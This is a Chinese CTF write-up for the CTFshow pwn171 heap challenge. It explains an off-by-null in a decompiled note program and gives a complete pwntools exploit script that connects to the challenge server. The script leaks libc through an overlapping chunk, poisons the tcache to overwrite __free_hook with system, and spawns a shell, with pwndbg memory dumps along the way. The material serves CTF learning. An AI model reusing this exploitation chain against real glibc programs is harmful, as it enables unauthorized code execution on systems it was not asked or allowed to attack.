CTFshow-pwn171
[!NOTE]
off by null
- 远程环境:Ubuntu 18.04
libc 版本为 2.27-3ubuntu1.6_amd64
保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn171
[*] '/home/niuyingying/ctf/pwn/pwn171'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
程序主要流程如下
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_AC0(a1, a2, a3);
sub_B20();
menu();
while ( 1 )
{
while ( 1 )
{
__printf_chk(1, "Your Choice: ");
v3 = sub_BD0();
if ( v3 != 2 )
break;
Delete();
}
if ( v3 <= 2 )
{
if ( v3 != 1 )
goto LABEL_10;
Create();
}
else if ( v3 == 3 )
{
Show();
}
else
{
if ( v3 == 4 )
{
puts("See you next time!");
exit(0);
}
LABEL_10:
puts("Invalid Choice!");
}
}
}
int Create()
{
signed int v0; // eax
__int64 v1; // rbx
unsigned int v3; // eax
_BYTE *v4; // rbp
__printf_chk(1, "Index: ");
v0 = sub_BD0();
if ( (unsigned int)v0 > 0xF )
return puts("Invalid index!");
v1 = v0;
if ( qword_2020A0[v0] )
return puts("That index is already allocated!");
__printf_chk(1, "Size: ");
v3 = sub_BD0();
dword_202060[v1] = v3;
if ( v3 > 0x100 )
return puts("Invalid size!");
qword_2020A0[v1] = malloc(v3);
__printf_chk(1, "Content: ");
v4 = (_BYTE *)qword_2020A0[v1];
v4[read(0, v4, dword_202060[v1])] = 0;
return puts("Chunk created!");
}
int Delete()
{
unsigned int v0; // eax
__int64 v1; // rbx
void *v2; // rdi
__printf_chk(1, "Index: ");
v0 = sub_BD0();
if ( v0 > 0xF )
return puts("Invalid index!");
v1 = (int)v0;
v2 = (void *)qword_2020A0[v0];
if ( !v2 )
return puts("That index is not allocated!");
free(v2);
qword_2020A0[v1] = 0;
dword_202060[v1] = 0;
return puts("Chunk deleted!");
}
int Show()
{
unsigned int v0; // eax
const char *v1; // rcx
__printf_chk(1, "Index: ");
v0 = sub_BD0();
if ( v0 > 0xF )
return puts("Invalid index!");
v1 = (const char *)qword_2020A0[v0];
if ( v1 )
return __printf_chk(1, "Chunk's content: %.*s\n", dword_202060[v0], v1);
else
return puts("That index is not allocated!");
}
发现 Create() 函数中 read(0, ptr, size) ,当 read 正好读满 size 字节时,向下一字节写 \x00,即 off-by-null
这里补充一下 off-by-null 的相关知识点
常见 off-by-null 场景,本质都是“程序以为自己只写了合法长度的数据,但额外补了一个字符串结尾 \x00 ”,导致刚好把相邻内存的第一个字节清零:
-
read(0, ptr, size); ptr[read_ret] = 0;
如果read正好读满size字节,ptr[size] = 0越界一字节 -
recv(fd, ptr, size, 0); ptr[n] = '\0';
和read一样,网络题里很常见 -
fgets(ptr, size + 1, stdin)但实际只分配了size
fgets最多读size个字符并自动补\0,如果参数给大了,就会多写一个 null -
strcpy / strcat / sprintf
这些函数会自动写字符串结束符,如果目标缓冲区刚好只能放下内容本身,最后的\0就会越界 -
scanf("%Ns", buf)长度 N 配错
%Ns最多读 N 个非空白字符,然后再补一个\0,所以缓冲区至少要N+1 -
手动清尾:
buf[len] = 0;如果
len可控或等于缓冲区大小,就容易 off-by-null -
循环边界写错:
for (i = 0; i <= size; i++) buf[i] = 0;<=导致多写一个 null
在 heap pwn 里,off-by-null 最经典的作用是改掉下一个 chunk 的 size 字段最低字节。glibc chunk 的 size 低位包含 PREV_INUSE 标志,如果把低字节清零,可能会把 PREV_INUSE 也清掉,让 malloc 误以为前一个 chunk 是 free 状态。配合伪造 prev_size,释放当前 chunk 时就会触发 backward consolidation :glibc 根据 prev_size 向前找到“前一个空闲 chunk ”,把它和当前 chunk 合并。攻击者可以让这个“前一个 chunk ”落在自己可控的位置,从而制造 overlap chunk ,之后就能泄露 libc 、改 tcache 链表,最终劫持 __free_hook / malloc_hook 等目标
同样的,这道题考虑的是先泄露 libc 地址,再劫持 free_hook ,脚本走两轮 off-by-null overlap:
- 填满
0xf0tcache ,制造 unsorted chunk - 利用
0x18chunk 的 off-by-null 清掉后一个 chunk size 低字节,并伪造prev_size = 0x120 - 释放后触发 backward consolidation ,得到 overlap
show(8)泄露 unsorted bin 的 main_arena 指针- 第二轮 overlap 做 tcache poisoning ,把
__free_hook写成system - 申请 chunk 写入
/bin/sh\x00,释放它触发system("/bin/sh")
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn171')
libc = ELF('/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
# io = process('./pwn171')
io = remote("pwn.challenge.ctf.show",28281)
# io = gdb.debug('./pwn170', gdbscript='set pagination off\nbreakrva 0x9A6\nc')
# io = gdb.debug(
# './pwn171',
# gdbscript='''
# set pagination off
# set sysroot /
# handle SIGALRM nostop noprint nopass
# breakrva 0xCEE
# breakrva 0xD7C
# breakrva 0xE11
# c
# '''
# )
def Create(i,size,text):
io.recvuntil(b"Your Choice: ")
io.sendline(b"1")
io.recvuntil(b"Index: ")
io.sendline(str(i).encode())
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
io.send(text)
io.recvuntil(b"Chunk created!\n")
def Delete(i):
io.recvuntil(b"Your Choice: ")
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(str(i).encode())
def Show(i):
io.recvuntil(b"Your Choice: ")
io.sendline(b"3")
io.recvuntil(b"Index: ")
io.sendline(str(i).encode())
for i in range(7):
Create(i,0xf0,b"\x00")
Create(7,0xf0,b"\x00") # 0x5989e2dd4950
Create(8,0x18,b"\x00") # 0x5989e2dd4a50
Create(9,0xf0,b"\x00") # 0x5989e2dd4a70
Create(10,0x28,b"\x00") # 0x5989e2dd4b70
for i in range(7):
Delete(i)
Delete(7)
# pwndbg> x/40gx 0x5989e2dd4950
# 0x5989e2dd4950: 0x0000000000000000 0x0000000000000101
# 0x5989e2dd4960: 0x0000770820bebca0 0x0000770820bebca0
# 0x5989e2dd4970: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4980: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4990: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd49a0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd49b0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd49c0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd49d0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd49e0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd49f0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a00: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a10: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a20: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a30: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a40: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a50: 0x0000000000000100 0x0000000000000020
# 0x5989e2dd4a60: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4a70: 0x0000000000000120 0x0000000000000100
# 0x5989e2dd4a80: 0x0000000000000000 0x0000000000000000
Delete(8)
Create(8,0x18,b"\x00" * 0x10 + p64(0x120))
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x5989e2dd4950
# Size: 0x220 (with flag bits: 0x221)
# fd: 0x770820bebca0
# bk: 0x770820bebca0
Delete(9)
# Allocated chunk | PREV_INUSE
# Addr: 0x5989e2dd4950
# Size: 0xe0 (with flag bits: 0xe1)
#
# Allocated chunk | PREV_INUSE
# Addr: 0x5989e2dd4a30
# Size: 0x20 (with flag bits: 0x21)
#
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x5989e2dd4a50
# Size: 0x120 (with flag bits: 0x121)
# fd: 0x770820bebca0
# bk: 0x770820bebca0
Create(7,0xd0,b"\x00")
Create(9,0x10,b"\x00")
Show(8)
# 0x770820bebca0 - 0x770820800000
io.recvuntil(b"Chunk's content: ")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x3ebca0
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
Delete(7)
Delete(9)
for i in range(7):
Create(i,0xf0,b"\x00")
Create(7,0x10,b"\x00") # 0x5989e2dd4a30
Create(9,0x10,b"\x00") # 0x5989e2dd4a50
Create(11,0xf0,b"\x00") # 0x5989e2dd4a70
Create(12,0xf0,b"\x00") # 0x5989e2dd4ba0
Create(13,0x20,b"\x00") # 0x5989e2dd4ca0
for i in range(7):
Delete(i)
Delete(11)
# pwndbg> x/40gx 0x5989e2dd4a70
# 0x5989e2dd4a70: 0x0000000000000120 0x0000000000000101
# 0x5989e2dd4a80: 0x0000770820bebca0 0x0000770820bebca0
# 0x5989e2dd4a90: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4aa0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ab0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ac0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ad0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ae0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4af0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b00: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b10: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b20: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b30: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b40: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b50: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b60: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b70: 0x0000000000000100 0x0000000000000030
# 0x5989e2dd4b80: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b90: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ba0: 0x0000000000000130 0x0000000000000100
Delete(10)
Create(10,0x28,b"\x00" * 0x20 + p64(0x130))
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x5989e2dd4a70
# Size: 0x230 (with flag bits: 0x231)
# fd: 0x770820bebca0
# bk: 0x770820bebca0
Delete(10)
Delete(12)
# pwndbg> bins
# tcachebins
# 0x30 [ 1]: 0x5989e2dd4b80 ◂— 0
# 0xe0 [ 1]: 0x5989e2dd4960 ◂— 0
# 0x100 [ 7]: 0x5989e2dd4260 —▸ 0x5989e2dd4360 —▸ 0x5989e2dd4460 —▸ 0x5989e2dd4560 —▸ 0x5989e2dd4660 —▸ 0x5989e2dd4760 —▸ 0x5989e2dd4860 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x5989e2dd4a70 —▸ 0x770820bebca0 ◂— 0x5989e2dd4a70
# pwndbg> x/40gx 0x5989e2dd4a70
# 0x5989e2dd4a70: 0x0000000000000120 0x00000000000000a1
# 0x5989e2dd4a80: 0x0000770820be0000 0x0000770820bebca0
# 0x5989e2dd4a90: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4aa0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ab0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ac0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ad0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4ae0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4af0: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b00: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b10: 0x0000000000000000 0x0000000000000081
# 0x5989e2dd4b20: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b30: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b40: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b50: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b60: 0x0000000000000000 0x0000000000000000
# 0x5989e2dd4b70: 0x0000000000000100 0x0000000000000030
# 0x5989e2dd4b80: 0x0000770820bed8e8 0x0000000000000000
# 0x5989e2dd4b90: 0x0000000000000000 0x0000000000000111
# 0x5989e2dd4ba0: 0x0000770820bebca0 0x0000770820bebca0
# pwndbg> bins
# tcachebins
# 0x30 [ 1]: 0x5989e2dd4b80 —▸ 0x770820bed8e8 (__free_hook) ◂— ...
# 0xe0 [ 1]: 0x5989e2dd4960 ◂— 0
# 0x100 [ 7]: 0x5989e2dd4260 —▸ 0x5989e2dd4360 —▸ 0x5989e2dd4460 —▸ 0x5989e2dd4560 —▸ 0x5989e2dd4660 —▸ 0x5989e2dd4760 —▸ 0x5989e2dd4860 ◂— 0
# fastbins
# empty
# unsortedbin
# all: 0x5989e2dd4b90 —▸ 0x770820bebca0 ◂— 0x5989e2dd4b90
Create(0,0x90,b"\x00")
Create(1,0x70,b"\x00" * 0x50 + p64(0x100) + p64(0x30) + p64(free_hook))
Create(2,0x20,b"\x00")
Create(3,0x20,p64(system))
Create(4,0x10,b"/bin/sh\x00")
Delete(4)
io.interactive()

浙公网安备 33010602011771号